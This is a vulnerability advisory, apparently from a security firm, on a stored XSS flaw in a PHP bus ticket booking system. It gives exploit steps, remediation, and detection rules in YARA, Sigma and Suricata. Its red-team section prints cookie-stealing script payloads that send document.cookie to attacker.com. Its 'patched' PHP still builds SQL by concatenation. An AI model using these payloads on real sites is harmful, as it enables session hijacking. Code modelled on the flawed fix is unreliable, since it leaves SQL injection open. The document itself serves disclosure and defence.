CVE-2025-25776

Executive Summary

CVE-2025-25776 is a stored Cross-Site Scripting (XSS) vulnerability in the Codeastro Bus Ticket Booking System v1.0. The flaw exists in the User Registration and User Profile features, where the Full Name and Address fields are not properly sanitized. An attacker can inject arbitrary JavaScript code into these fields, which will be executed in the browser of any user viewing the profile or registration data. This can lead to session hijacking, credential theft, or defacement. The vendor has not released a patch, and no official advisory is available. The EPSS score is 0.0%, indicating low exploitation likelihood at this time, but the vulnerability is trivial to exploit.

Supply Chain & Package Security

This is a PHP-based web application, not an NPM, PyPI, Go, or Ruby package. No supply chain risks are identified beyond the lack of vendor patching.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
• Base Score: 6.1 (Medium)
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: Required (victim must view the profile)
• Scope: Changed
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: None

Threat Level: Medium. The vulnerability is easy to exploit but requires user interaction. The impact is limited to data theft and minor defacement.

Deep Dive & Mechanics

The vulnerability is a classic stored XSS. The application does not sanitize or escape user input in the Full Name and Address fields during registration or profile editing. When an attacker submits a payload like <script>alert('XSS')</script>, it is stored in the database. When an administrator or another user views the profile or a list of registered users, the payload is rendered in the browser without proper encoding, leading to script execution.

The root cause is the lack of output encoding and input validation. The application likely uses echo or print directly without htmlspecialchars() or similar functions.

Vulnerable vs. Patched Code

Vulnerable Code (PHP):

<?php
// registration.php
$fullname = $_POST['fullname'];
$address = $_POST['address'];
// No sanitization
$query = "INSERT INTO users (fullname, address) VALUES ('$fullname', '$address')";
mysqli_query($conn, $query);
// Later, when displaying:
echo "Name: " . $row['fullname'];
echo "Address: " . $row['address'];
?>

Patched Code (PHP):

<?php
// registration.php
$fullname = htmlspecialchars($_POST['fullname'], ENT_QUOTES, 'UTF-8');
$address = htmlspecialchars($_POST['address'], ENT_QUOTES, 'UTF-8');
$query = "INSERT INTO users (fullname, address) VALUES ('$fullname', '$address')";
mysqli_query($conn, $query);
// When displaying:
echo "Name: " . htmlspecialchars($row['fullname'], ENT_QUOTES, 'UTF-8');
echo "Address: " . htmlspecialchars($row['address'], ENT_QUOTES, 'UTF-8');
?>

Exploitation & Lab Setup

Red Team

Lab Setup:

1. Download Codeastro Bus Ticket Booking System v1.0 from the vendor's site.
2. Install on a local LAMP stack (PHP 7.4+, MySQL 5.7+).
3. Navigate to the registration page.

Exploit Steps:

1. Register a new user with the following payload in the Full Name field:

   <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
   

2. In the Address field, use:

   <img src=x onerror="alert('XSS')">
   

3. Submit the registration form.
4. As an admin, view the user list or profile. The script executes, sending the admin's session cookie to the attacker's server.

Alternative Payload (Session Hijacking):

<script>new Image().src='https://attacker.com/steal?c='+document.cookie</script>

Blue Team

Detection:

• Monitor for unusual characters in Full Name and Address fields (e.g., <, >, script, onerror).
• Use WAF rules to block common XSS patterns.
• Review server logs for requests to external domains from the application.

Mitigation:

• Apply input validation and output encoding as shown in the patched code.
• Implement Content Security Policy (CSP) headers to block inline scripts.
• Use HTTP-only cookies to prevent JavaScript access.

Indicators of Compromise (IOCs)

• Network:
  • Outbound HTTP requests to attacker-controlled domains from the web server.
  • Suspicious parameters in POST requests to registration or profile endpoints containing <script> or onerror.
• File System:
  • Log entries showing alert('XSS') or similar payloads in user data.
• Database:
  • Rows in the users table containing HTML tags in fullname or address columns.

Detection Engineering

YARA Rule

rule CVE_2025_25776_XSS_Payload {
    meta:
        description = "Detects stored XSS payloads targeting Codeastro Bus Ticket Booking System"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2025-25776"
    strings:
        $xss1 = /<script[^>]*>.*<\/script>/i
        $xss2 = /onerror\s*=\s*["']?[^"']*["']?/i
        $xss3 = /onload\s*=\s*["']?[^"']*["']?/i
        $xss4 = /javascript\s*:/i
    condition:
        any of them
}

Sigma Rule

title: Stored XSS in Codeastro Bus Ticket Booking System
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects stored XSS payloads in user registration or profile fields
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains:
            - 'fullname'
            - 'address'
        cs-uri-query|re:
            - '<script'
            - 'onerror'
            - 'onload'
            - 'javascript:'
    condition: selection
falsepositives:
    - Legitimate use of HTML in names (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-25776 Stored XSS Payload in POST"; flow:to_server,established; content:"POST"; http_method; content:"fullname"; http_client_body; pcre:"/<script[^>]*>.*<\/script>/i"; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate: Apply input validation and output encoding to all user-supplied fields. Use htmlspecialchars() with ENT_QUOTES and UTF-8 encoding.
2. Short-term: Implement a Web Application Firewall (WAF) with rules to block XSS payloads.
3. Long-term: Upgrade to a patched version if the vendor releases one. Consider migrating to a supported booking system.
4. Compensating Controls: Use Content Security Policy (CSP) headers to restrict script execution. Set cookies with HttpOnly and Secure flags.

Valters IT
Securing Digital Frontiers